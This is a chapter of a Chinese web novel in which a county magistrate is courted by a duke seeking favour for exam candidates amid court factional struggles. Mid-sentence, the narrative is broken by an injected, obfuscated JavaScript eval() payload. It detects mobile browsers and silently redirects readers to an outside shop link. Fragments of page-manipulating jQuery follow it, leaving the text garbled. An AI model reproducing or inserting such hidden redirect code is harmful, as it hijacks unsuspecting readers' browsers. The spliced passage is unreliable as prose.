26.凉州郡公上门送礼,徐圭言提醒新仆浮玉

作品:《县令她追夫火葬场后不追了怎么办?

    临近秋闱,顾慎如便忙了起来,科举初试在州府衙门,整个凉州城的考生都前往凉州城,一时间凉州城无比热闹。


    作为凉州城县令的徐圭言自然包揽了凉州城的安全部署,兵力全部调遣到东南西北门、巡逻,挨家挨户的检查,维持秩序。


    凉州其他县、乡的学官也都陆续到了,长安监考官学政也到了,在州衙和顾刺史会面后,又和徐圭言碰面,仔细询问了科举考试期间,凉州城内士兵和县衙的措施。


    为了防止考生作弊,科举考试实行糊名制并在考试期间锁院,考生也配备了各种日常用品。


    在准备秋闱期间,各位考生的家庭背景和推荐信都到了府衙,考试前七日,府衙的人对考生身份进行审查。


    不说其他,徐圭言作为凉州城的县令,自然是有推荐考生的资格,但她在凉州城一没熟人,二没朋友,这推荐的资格自然是不会随便给出去的。


    至于其他人,都把推荐的名额给到了自己最倚重、欣赏、器重的小辈身上。


    好巧不巧,徐圭言在此期间收到了父亲徐途之寄来的信。


    上一封还没看,又一封寄过来,徐圭言看着桌面的信发呆。


    犹豫半晌,她拿起了最新的那封信,心中的内容正如她所想,是关于科举考试的。信还没看完,彩云在小书房外敲门,“姑娘,凉州郡公李郎君来了。”


    自从上见过面后,李子由和徐圭言便没什么交集了,不过点头之交,在这个时候他来找她?


    徐圭言长叹一口气,把看到一半的信收好,才起身出去迎李子由。


    “上一次县令光临寒舍没有好好招待,这回我唐突打扰您,实在是冒昧,遂给您带了些礼物。”


    李子由笑得轻松,徐圭言也不好说什么,环视一周,一院子的重礼。


    “李郡公破费了,但这不合规矩,我就随意拿一件,您的心意我领了,您看如何?”徐圭言摆手,让半乐和彩云去挑两件。


    “这是我的书房,地方不是太大,您请进,”说着,撩开了帘子,“浮玉,斟茶来。”


    两人前后脚进了小书房,李子由环视一周,淡淡地笑着,“斯是陋室,惟吾德馨。徐县令,您是前科状元,书多少并不能衡量您的才智。”


    徐圭言也坐了下来,“您说笑了,我只是会考试、运气好的人罢了,天下才有一旦,我怕是一丁点都沾不到。”


    浮玉端着茶进来,斟茶后才离开。


    热气腾腾的水汽在两人之间升起,李子由想继续寒暄,却没想到徐圭言开门见山,“您今儿带着大包小包的东西我这陋室,怕是有事要说。既有公主牵线,郡公也不必和我如此生分,有话直说吧。”


    水汽散去,露出一双狡黠的眼睛,笑眯眯地看着李子由。


    “秋闱马上开始了,您也知道,虽说是考尽天下有才人,但有世家大族推荐的考生自然是比普通人多些机会的。”


    “那是自然。”


    徐圭言皮笑肉不笑地说。


    “……徐县令可知朝堂纷争?”


    “朝堂纷争自古以来都有,不知您说的哪一件?”


    “夺嫡之争后,后唐元气大伤,本来的十五道*,也变成了如今的二十道。原来的边疆道,也因藩镇谋反,现如今被朝廷归在了边疆道内。”


    徐圭言点头,这些话都是废话,她迫不及待、耐着性子听他娓娓道来,就是想知道李子由的目的是什么,什么东西值得他绕这么大一个圈子?


    “但其实,除了凉州所在的陇右道、安西北庭仍旧在朝廷管辖范围内,后唐边境早已被藩镇割据,势力极大。”


    “这我明白,您接着说,”徐圭言拿起茶杯,抿了一口,拧着眉头,舌尖抵着茶水,烫得无法下咽。


    “朝廷内部关于如何处置藩镇割据一事,分成了两派,您可知晓?”


    徐圭言放下茶杯,摇了摇头,“清楚的不太多,我之前是在尚书省做事的,虾兵蟹将一个,没人拉我站队,更别提议论如此大事了。”


    李子由点头,也拿起茶杯,掀开茶盖,“一派保守,一派激进。保守派觉得应该和藩镇王谈判,达成协议。而激进派的人,则觉得对藩镇严肃处理,直接出兵。”


    “但后唐才安生多少年?这个时候实在不是大战的好时机。”


    徐圭言听明白了,笑意加深,“您是保守派的?”


    “说不上来,但我想说的是,如今朝廷内部两派纷争,影响到了科举考试,入仕的学生,在秋闱前都已经被问好了,激进还是保守?”


    “这……”徐圭言有些为难,“二十道,近三百多州,一个一个筛选,怕是要提前个七八年才能准备好吧?”


    李子由不由得笑出声,不知道徐圭言是真不知道,还是装傻,轻言轻语地说,“二十道,八道的道监察史是保守派出身,七道的道监察史是激进派出身,层层往下,其中弯弯绕绕看起复杂,人情世故错落,实则不言而喻。”


    “哦……”徐圭言做出一副恍然大悟的样子,“那凉州,陇右道,又是哪一派的啊?”


    “前任县令是保守派,毕竟远在边疆,和周边的藩镇处好关系,对自己好啊。”


    徐圭言听明白了,便也没藏着掖着,“那您,是想站在那一边?”


    “自然是平稳推进最好。”


    “您可有推荐的人?”


    李子由就等她这话,从袖口中拿出一封信来,放在桌子上,推到徐圭言面前。


    徐圭言看着信封,没急着收下,反而问道:“您可是皇子,皇上亲封的凉州郡公,应该也有推荐名额吧?”


    “凉州都是县,哪来的郡?”


    徐圭言轻笑一声,拿过李子由的信,翻开看了一眼,纸面空空如也。


    宫里的那点把戏,徐圭言也是见识过的,于是把空白的信铺平在桌面上,拿起茶杯,手轻轻一斜,热水倒下,纸面上的字迹显露出来。


    片刻后,徐圭言才抬头看向他,“这是公主的意思?”


    “公主有她自己的事要做。”


    徐圭言点头,“我尽量。”


    “为何只是尽量,不是全力?”


    徐圭言笑笑,“做生意都是见面三分情,这事儿……”她敲了敲桌面,“怕不是三分情就能换来的。”


    “我是带着诚心实意心意来的,就看您收不收了。”


    “你的真心实意不一定能换来我的真心实意,人和人都不一样嘛,你喜欢这琵琶美酒夜光杯的凉州,我就馋长安一碗地地道道的饺子。”


    “您若是想,我找公主带句话。毕竟,欲穷千里目,更上一层楼。”


    徐圭言哈哈大笑,李子由全身上下都是心眼,她无心的一句话,换来这么一个大好前途,不知道是他高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516844|154959||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看了她,还是她小瞧了自己。


    李子由面对徐圭言的笑并不觉得尴尬,“您再仔细想想?”


    徐圭言收敛了笑容,“好,我想明白了,就给您回信。”


    “劳烦您尽快?”


    “好。”


    说罢,两人站起身来,徐圭言将李子由送出百花园,她看着他的背影百思不得其解,回到小书房后,看到那张白纸毕竟变的皱皱巴巴。


    她拿起来左看右看,而后用烛火将它一把烧了,看着火光跳动,心中满是疑惑,李子由到底是为了谁来求情的?


    祸不单行,徐圭言又打开父亲的信,里面也提到了朝廷党派之争。


    显然,父亲徐途之是激进那一派的,他希望徐圭言能给那些有激进思想的考生一些优待。


    没有推荐的人,只是要优待。


    放下心,她思虑半天。


    百花园外嘈杂声突然响起,徐圭言背着手走了出去,“怎么回事?他们在做什么?”


    半乐小跑着过来,“姑娘,秋闱完就是顾家小姐和秦家郎君的大婚日子,他们这是在筹备大婚呢。”


    徐圭言努了努嘴,眼睛盯着他们忙活的人,左看右看,最后什么话也没说便回了房。


    站在一旁的彩云看到自家姑娘如此模样,觉得有趣。自从徐圭言入仕做官后,她便少了几分少女情趣,鲜少见到徐圭言少女气的那一面。


    老气横秋,年轻的面容下装着老人的灵魂。


    可今天这么一看,姑娘还是那个心性。


    “姑娘这是怎么了?”身旁的浮玉突然问。


    彩云扭头看他,“还能怎么,秦郎君要成婚了。”


    浮玉不是很明白,“秦郎君和姑娘有仇,所以他成婚,姑娘不开心了?”


    彩云看着浮玉,好奇心突然上来了,“小浮玉,我买你回来后,就没见你说过这么多话,还觉得你不是那嚼舌根的人呢,话少力气多,可现在这么一看,你怎么也开始了?”


    浮玉眉头微动,“知道主子的事,以后伺候的时候就少犯些错。”


    “少说些漂亮话,”彩云扭头直视前方,“姑娘可不喜欢为难人。”


    浮玉点头,便也没追问。


    两人也没得什么东西可聊了,便转身一前一后往回走。


    一进院子,浮玉就看到了徐圭言,被她的突然出现吓了一跳,徐圭言看到他被吓到,也是一笑,拎着衣服便坐到了门前的台阶上。


    “你来,过来陪我说说话。”


    浮玉站在原地盯着她看,一动不动。


    徐圭言看人没过来,便换了个懒散的、舒服的姿势靠在台阶边,“最近去看那个女娃娃了吗?”


    浮玉点点头。


    “怎么样了?”


    “粉粉嫩嫩的,医馆的人照顾得很好,过些时日便可接回来了。”


    徐圭言点点头,手里拿着刚折下来的桂花枝条,“科举考试这些日子,你早点回家,没事别往外跑,今天县衙、州衙的士兵们都被派出去巡城了。”


    浮玉身子一滞,脸上多了些慌乱。


    “您和我说这些做什么?”


    徐圭言冷哼一声,扔开手里的桂花,“还装傻……早点回家就是了,听到了没有?”


    说着,她站起身来回了屋。


    浮玉知道她看不到他点头,但他还是点了点头。